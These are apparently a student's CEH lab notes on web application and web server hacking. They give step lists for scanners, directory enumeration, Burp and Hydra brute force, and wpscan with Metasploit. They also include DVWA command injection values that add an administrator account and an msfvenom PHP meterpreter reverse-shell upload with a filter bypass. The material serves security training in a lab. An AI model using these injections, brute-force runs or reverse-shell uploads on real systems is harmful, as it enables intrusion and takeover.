**Module 13-14 : Hacking Web Application & Web Server**

* **Web Scanning (in kali os):**
* Information gathering tool: ghost\_eye

**Steps:**

* Goto git hub > search “ghost eye” > copy link & goto terminal
* Goto terminal > Git clone paste link > ls > cd ghost\_eye
* pip3 install -r requirement.txt > Python3 ghost\_eye.py
* Do whois lookup, dns lookup
* **Scanning tool for Website Vulnerability:**
* Tool: skipfish

**Steps:**

* Goto git hub > search “skipfish” > copy link & goto terminal
* Goto terminal > Git clone paste link >ls > cd skipfish > skipfish -h
* Create skipfish-output folder in desktop
* Run cmd “Sudo skipfish -o /home/kali/Desktop/Skipfish-output/moviescope -S /usr/share/skipfish/dictionaries/complete.wl <http://www.moviescope.com> ”

(Note: -o for output file saving location , -s for to load word list)

* Enter and wait for process to complete
* Check the output file
* **Vulnerability Scanning Tool:**

Tool: uniscan

**steps**

* Goto terminal and install tool uniscan ‘Sudo apt install uniscan’
* Run cmd ‘sudo apt install pearl’ in case of error during installation
* Run cmd ‘sudo uniscan -u <https://www.moviescope.com> -q’

(Notes: -u for url , -b for backgrounding session, -q for directory checks)

* For output report, goto file manager >user > share > uniscan > report
* Open server 2022 > run wamp > goto kali os > browse 10.10.10.22:8080/

CEH > copy link

* Run uniscan cmd “sudo uniscan -u 10.10.10.22:8080/CEH -q”
* Cmd “sudo uniscan -u <http://10.10.10.22:8080/CEH> -we”

(note: -u for for url, -we for file check and roberts.txt and sitemap.xml)

* Cmd “sudo uniscan -u <http://10.10.10.22:8080/CEH> -d”

(note: -d for dynamic check)

* See the report.
* **web scanner tool for identifying the technologies by a website / web applications:**
* Tool: whatweb

**Steps to use**

* Goto terminal > run cmd “whatweb”
* Run cmd “ sudo whatweb <https://certifiedhacker.com/> “
* For detail information: “sudo whatweb <https://certifiedhacker.com/> -v ”
* **Vulnerability Scanning tool for WebApplications**

Tool in kali linux : ZAP

**Steps to use tool:**

* Goto terminal > install “zap” tool, cmd : sudo apt install zaproxy
* Open tool zap > Start > select automated scan > set target & Attack
* Goto Report tab for report > generate report > save > analyse report.
* **Load Balancing Detector: (in kali os)**
* Tool: lbd

**Steps:**

- goto terminal > cmd “ lbd yahoo.com” (checking load balancer of yahoo.com)

* **HTTP Enumeartion of Webserver / Web Application: (in kali os)**

**Steps:**

* Goto file system >usr>share> nmap > Script > http-enum.nse script > copy script name
* Goto terminal > run cmd “Sudo nmap -T4 - - Script=http-enum.nse www.moviescope.com ”
* Check the http-enum output.
* **Folders /Directories Enumeration from Web Servers / web Applications**:
* Tool: gobuster

**Steps:**

* Goto terminal > install tool gobuster “sudo apt install gobuster”
* Run cmd“Sudo gobuster -h” for help command.
* Run cmd”Sudo gobuster dir -u <http://www.moviescope.com/> -w /home/kali/Desktop/common.txt ”

(Note: dir for directories, -u for url , -w for wordlist location)

* **Brute-forcing directories and files on web servers / web application**

Tool: dirsearch

**Steps:**

* Goto git hub > search “dirsearch” > copy the script link > goto terminal
* Run cmd “Git Clone” and paste link > ls > cd dirsearch
* Then, run cmd “ pip3 install -r requirements.txt” > ls > “ Python3 dirsearch.py -h”
* Run cmd “ python3 dirsearch.py -u <https://moviescope.com>” ( -u for url)
* For searching specific extension :

python3 dirsearch.py -u <https://moviescope.com> -e pdf

* **Detection of ClickJacking vulnerabilities by scanning a target: (in kali os)**
* Goto git hub > search “ClickjackPoc” > copy the script link > goto terminal
* Run cmd “Git Clone” and paste link > ls > cd ClickjackPoc
* Then, run cmd “ pip3 install -r requirements.txt” > ls
* “ Python3 ClickjackPoc.py -h”
* Goto desktop > create file and set target > rename file as target.txt
* Set target url inside file
* Go back to tool ClickjackPoc
* run cmd “python3 ClickjackPoc.py -f /home/kali/Desktop/target.txt”

( -f for site file location)

* For results: ls > cd results
* Goto file explorer: goto home > kali > ClickJackPoc > results.
* **Web Application / Web Server’s Vulnerability scanning and penetration testing:**
* **Tool: burpsuite**
* **Attack: Brute Force**

**Brute force attack to moviescope site to crack username and password for login into site.**

**Steps:**

* Turn on window server 2019, Turn on Kali os
* In kali os, open browser and browse “http://[www.moviescope.com](http://www.moviescope.com)/”
* Open burpsuit tool > next > start by default
* Configure burpsuit as a proxy (passing traffic of website from burpsuit)
* Goto “Proxy ” tab > open browser > browse target “<http://www.moviescope.com/>”
* Turn on “intercept” in tool > go back to browser & enter username and password
* Go back to tool > right click on output and select “send to intruder”
* Choose attack type “Cluster bomb” > goto right panel of tool and select

“Clear $” to clear all $ value ($- changeable / variable value)

* Goto right panel and select “Add $” to add “$” on username and password ( select username -add $, select password-add$)
* Goto payload tab to define payload > goto payload set > select”1” > load username from system
* Goto payload set > select”2” > load password from system
* Goto Right panel & start Attack
* Check the unique code value in output result
* Copy the username and password of unique status code value
* Try that username and password in original site for login into it
* Forward the session > Exit
* **Session Hijacking:**
* Operating system: Kali os & Window Server 2019
* Moviescope site is hosted in 2019
* Hacking sessions of Moviescope Site and redirecting it to goodshopping site.

**Steps:**

* In kali os, Open burpsuite tool > open browser and browse “<http://www.moviescope.com>” > copy the url
* Goto burp suite tool > turn “intercept on” > browse site “<http://www.moviescope.com>”
* Select “Moviescope ” word and replace it with “goodshopping” word
* Then forward the traffic after changing word
* See the result.
* **Hacking System using hosted wordpress website:**
* Machine: Server 2022 & Kali os
* Tool: wpscan

**Steps:**

* Turn on window server 2022 > run “wamp” application
* Turn on kali os > open browser
* Browse” <http://10.10.10.22:8080/CEH> ” > open new tab > goto site “<https://www.wpscan.com>” (Scanning wordpress site)
* Login into the system > enter username: [users.ceh@gmail.com](mailto:users.ceh@gmail.com) >

Enter password: Pa$$word

* Copy API token and paste it in text editor
* Open tool wpscan > sudo wpscan -h
* Run cmd “Sudo wpscan - - api token paste token - - url paste url - - enumetare u”

( Note: - - api token : for api token

- - url : for url

- - enumerate: to extract

u : user id )

* Open new tab in terminal > open metasploit tool “Sudo msfconsole”
* Search wordpress > use”auxillary/scanner/http/wordpress\_loginin\_enum”
* Show options > set pass\_file > set RHOST > set RPORT > Set username > set target uri > run
* Check the Crack the password.
* **Exploiting Web Vulnerabilities:**
* Operating System: Window server 2022 & Kali os
* Site hosted in Window server 2022 ( <http://10.10.10.22:8080/dvwa> ), turn on wamp from server 2022 desktop to access site.
* **Command Injection:**

**Steps:**

* In kali os, open browser and browse “<http://10.10.10.22:8080/dvwa> ” >

username: admin > Password: password

* Goto DVWA security > low > submit
* Enter an IP Address > Inject Commands

( Commands: | Hostname , | Whoami, | net user , | net user hari /Add,

| net localgroup Administrators hari /Add )

* **Brute Forcing and Cracking password using Hydra tool:**
* Hydra: Brute force attacking tool
* Machines: Window srv 2019 & kali os

**Steps:**

* Open window server 2019 and Kali os
* Scan server 2019 from kali os using nmap to identify ftp server.
* In kali os, goto terminal > run cmd”Sudo nmap -T4 -p21 10.10.10.19 ”

( -p : for port , ftp port number: 21, server ip: 10.10.10.19)

* Goto server 2019 > search IIS > server 2019 > Sites > local host > ftp > ftp authentication > double click and check
* Goto ftp authorization > double click > give both read and write access
* Open hydra tool in kali os, cmd “sudo hydra -h”
* Cmd “ sudo hydra -L Username file location - P Password file location ftp:// 10.10.10.19 “

“Sudo hydra -L /home/kali/Desktop/Wordlist/username.txt -P /home/kali/Desktop/wordlist/password.txt ftp://10.10.10.19 ”

* In kali os, goto new tab in terminal > run cmd “ftp 10.10.10.19” >

Enter cracked username and Password > mkdir hari > check dir hari in server 2019 inside ftp folder.

* **Command injection in Damn Vulnerable Web Application (DVWA):**

Attacker : kali os

Victim: Server 2022 - dvwa web application

**Steps:**

* Open window srv 2022 > run ‘wamp application’
* In kali os, browse site ‘ <http://10.10.10.22:8080/dvwa> ‘ > enter username: admin > password: password > Set DVWA security > low

**DVWA Security: low**

* Open terminal > open msfvenom tool “msfvenom “
* Run cmd ( “ msfvenom - p php/meterpreter/reverse\_tcp LHOST=10.10.10.13 LPORT=2222 -F raw )

(Note: -p for payload, LHOST : Listening host, LPORT : Listening port

-F : Output file format)

* Copy the created php script from msfvenom > create a new file > name it as upload-2222.php > paste copied php script > save
* Then Upload the saved script in dvwa site > file upload > browse file > upload script >

Copy uploaded location “hackable/uploads/upload-2222.php”

* Copy the website address (<http://10.10.10.22:8080/dvwa> )
* Merge both copied address

( <http://10.10.10.22:8080/dvwa>/hackable/uploads/upload-2222.php )

* In kali os, goto terminal > msfconsole > use exploit/multi/handler >

Set payload php/meterpreter/reverse\_tcp > set LHOST and LPORT > show options

> run

* Open new tab in kali’s browser > paste the link

“ <http://10.10.10.22:8080/dvwa>/hackable/uploads/upload-2222.php “

* Then the Vulnerable Web Application “DVWA**”** is hacked.
* **DVWA Security medium in file upload:**
* Goto dvwa site > make dvwa security : medium
* Copy the php file created before and paste it in same location > rename it as “upload -mid-2222.png”
* Open burp suite tool > goto proxy > open browser > browse “<http://10.10.10.22:8080/dvwa> “ > login to site using username and password

(username: admin / Password: password)

* Goto DVWA Security > Medium
* goto burp suite > turn on intercept
* Goto file upload > choose file > upload file “upload -mid-2222.png”
* In burp suit, change file extension to “php” from png > check spaces and minimize/cancel all spaces
* Forward the session from burp suit and turn intercept off.